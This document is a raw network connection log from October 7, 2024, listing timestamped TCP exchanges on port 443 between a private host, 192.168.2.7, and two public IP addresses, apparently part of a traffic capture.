Oct 7, 2024 19:33:28.650095940 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.655405998 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.655430079 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.662389040 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.662404060 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.665918112 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.680159092 CEST	49823	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.680183887 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.683064938 CEST	49823	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.683074951 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.684340000 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.689507008 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.689519882 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.689959049 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.689970016 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.690646887 CEST	49821	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.690660000 CEST	443	49821	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.691051006 CEST	49821	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.691061020 CEST	443	49821	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.699924946 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.702092886 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.702120066 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.702482939 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.702490091 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.753719091 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.754295111 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.754467010 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.769675970 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.769695997 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.769731998 CEST	49820	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.769740105 CEST	443	49820	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.777580976 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.777614117 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.777736902 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.780611992 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.780788898 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.780850887 CEST	49823	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.781887054 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.781915903 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.781961918 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.782080889 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.783740997 CEST	443	49821	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.783891916 CEST	443	49821	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.784059048 CEST	49821	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.795186043 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.795242071 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.795286894 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.795308113 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.795336962 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.795403957 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.801703930 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.801719904 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.802793980 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.802793980 CEST	49824	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.802804947 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.802819014 CEST	443	49824	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.804816961 CEST	49823	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.804816961 CEST	49823	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.804828882 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.804838896 CEST	443	49823	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.809732914 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.809732914 CEST	49822	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.809746027 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.809756041 CEST	443	49822	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.810849905 CEST	49821	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.810856104 CEST	443	49821	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.814569950 CEST	49827	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.814610004 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.814681053 CEST	49827	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.815045118 CEST	49827	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.815063000 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.816373110 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.816404104 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.816453934 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.817322016 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.817346096 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.818164110 CEST	49829	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.818190098 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.818232059 CEST	49829	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.818406105 CEST	49829	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.818420887 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.819372892 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.819380999 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.819458961 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.819803953 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:28.819813967 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:28.954531908 CEST	49702	443	192.168.2.7	104.98.116.138
Oct 7, 2024 19:33:28.954713106 CEST	49702	443	192.168.2.7	104.98.116.138
Oct 7, 2024 19:33:28.955169916 CEST	49832	443	192.168.2.7	104.98.116.138
Oct 7, 2024 19:33:28.955193043 CEST	443	49832	104.98.116.138	192.168.2.7
Oct 7, 2024 19:33:28.955259085 CEST	49832	443	192.168.2.7	104.98.116.138
Oct 7, 2024 19:33:28.957201004 CEST	49832	443	192.168.2.7	104.98.116.138
Oct 7, 2024 19:33:28.957215071 CEST	443	49832	104.98.116.138	192.168.2.7
Oct 7, 2024 19:33:28.959544897 CEST	443	49702	104.98.116.138	192.168.2.7
Oct 7, 2024 19:33:28.960165977 CEST	443	49702	104.98.116.138	192.168.2.7
Oct 7, 2024 19:33:29.469515085 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.469877005 CEST	49829	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.469892025 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.470335007 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.470447063 CEST	49829	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.470453024 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.471031904 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.471051931 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.471405983 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.471420050 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.475182056 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.475909948 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.475925922 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.475992918 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.476043940 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.476051092 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.476279974 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.476286888 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.476679087 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.476684093 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.482193947 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.482621908 CEST	49827	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.482647896 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.483035088 CEST	49827	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.483041048 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.565498114 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.565663099 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.565768003 CEST	49829	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.565774918 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.565793991 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.565839052 CEST	49829	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.566046953 CEST	49829	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.566046953 CEST	49829	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.566060066 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.566065073 CEST	443	49829	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.568938971 CEST	49833	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.568970919 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.569040060 CEST	49833	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.569165945 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.569224119 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.569241047 CEST	49833	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.569257975 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.569300890 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.569386959 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.569386959 CEST	49828	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.569403887 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.569413900 CEST	443	49828	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.571417093 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.571727037 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.571743965 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.571806908 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.572329044 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.572346926 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.572649002 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.572712898 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.572747946 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.572757006 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.572767019 CEST	49830	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.572773933 CEST	443	49830	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.575582981 CEST	49835	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.575604916 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.575664997 CEST	49835	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.575848103 CEST	49835	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.575864077 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.577609062 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.577718973 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.577816963 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.577816963 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.577816963 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.580415964 CEST	49836	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.580436945 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.580485106 CEST	49836	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.580938101 CEST	49836	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.580950975 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.583889961 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.584194899 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.584265947 CEST	49827	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.588181019 CEST	49827	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.588202000 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.588211060 CEST	49827	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.588217020 CEST	443	49827	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.590590000 CEST	49837	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.590611935 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.590667963 CEST	49837	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.590837955 CEST	49837	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.590856075 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:29.809842110 CEST	49826	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:29.809884071 CEST	443	49826	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.186709881 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.187139988 CEST	49836	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.187161922 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.187541962 CEST	49836	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.187546968 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.196433067 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.196794987 CEST	49835	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.196824074 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.197211027 CEST	49835	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.197217941 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.198116064 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.198352098 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.198378086 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.198719978 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.198729038 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.208369970 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.209114075 CEST	49837	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.209114075 CEST	49837	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.209132910 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.209141016 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.213536024 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.213830948 CEST	49833	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.213849068 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.214533091 CEST	49833	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.214539051 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.283432961 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.283677101 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.283818007 CEST	49836	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.288506985 CEST	49836	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.288527966 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.288542032 CEST	49836	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.288547993 CEST	443	49836	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.293346882 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.293385029 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.293438911 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.293442011 CEST	49835	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.293492079 CEST	49835	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.295955896 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.296019077 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.296104908 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.303293943 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.303355932 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.303613901 CEST	49837	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.304960966 CEST	49838	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.304994106 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.305048943 CEST	49838	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.305495977 CEST	49835	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.305510044 CEST	443	49835	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.305608988 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.305608988 CEST	49834	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.305636883 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.305649042 CEST	443	49834	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.307136059 CEST	49837	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.307136059 CEST	49837	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.307151079 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.307162046 CEST	443	49837	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.308716059 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.308717012 CEST	49838	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.308733940 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.308737993 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.308793068 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.308881998 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.308979034 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.308986902 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.309806108 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.310007095 CEST	49833	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.310103893 CEST	49833	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.310103893 CEST	49833	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.310111046 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.310117960 CEST	443	49833	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.310914040 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.310966015 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.311060905 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.311084986 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.311122894 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.311214924 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.311388969 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.311402082 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.311428070 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.311446905 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.312490940 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.312503099 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.312567949 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.312685013 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.312699080 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.922553062 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.923357964 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.923369884 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.923733950 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.923741102 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.924711943 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.925143003 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.925159931 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.925636053 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.925658941 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.939156055 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.939574957 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.939611912 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.940064907 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.940088034 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.941741943 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.942068100 CEST	49838	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.942089081 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.942513943 CEST	49838	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.942518950 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.962363005 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.962682962 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.962692976 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:30.963027000 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:30.963036060 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.016719103 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.017709970 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.017810106 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.017810106 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.017842054 CEST	49840	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.017858982 CEST	443	49840	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.020319939 CEST	49843	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.020353079 CEST	443	49843	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.020837069 CEST	49843	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.020982981 CEST	49843	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.021007061 CEST	443	49843	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.027460098 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.028032064 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.028107882 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.028107882 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.028172016 CEST	49841	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.028197050 CEST	443	49841	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.030215979 CEST	49844	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.030236006 CEST	443	49844	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.030424118 CEST	49844	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.030457020 CEST	49844	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.030463934 CEST	443	49844	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.032875061 CEST	443	49843	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.033528090 CEST	49845	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.033550978 CEST	443	49845	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.033690929 CEST	49845	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.033910990 CEST	49845	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.033938885 CEST	443	49845	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.037992001 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.038314104 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.038619041 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.038657904 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.038676977 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.038697004 CEST	49842	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.038703918 CEST	443	49842	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.039597988 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.039679050 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.039767027 CEST	49838	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.039767027 CEST	49838	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.039844990 CEST	49838	443	192.168.2.7	13.107.246.45
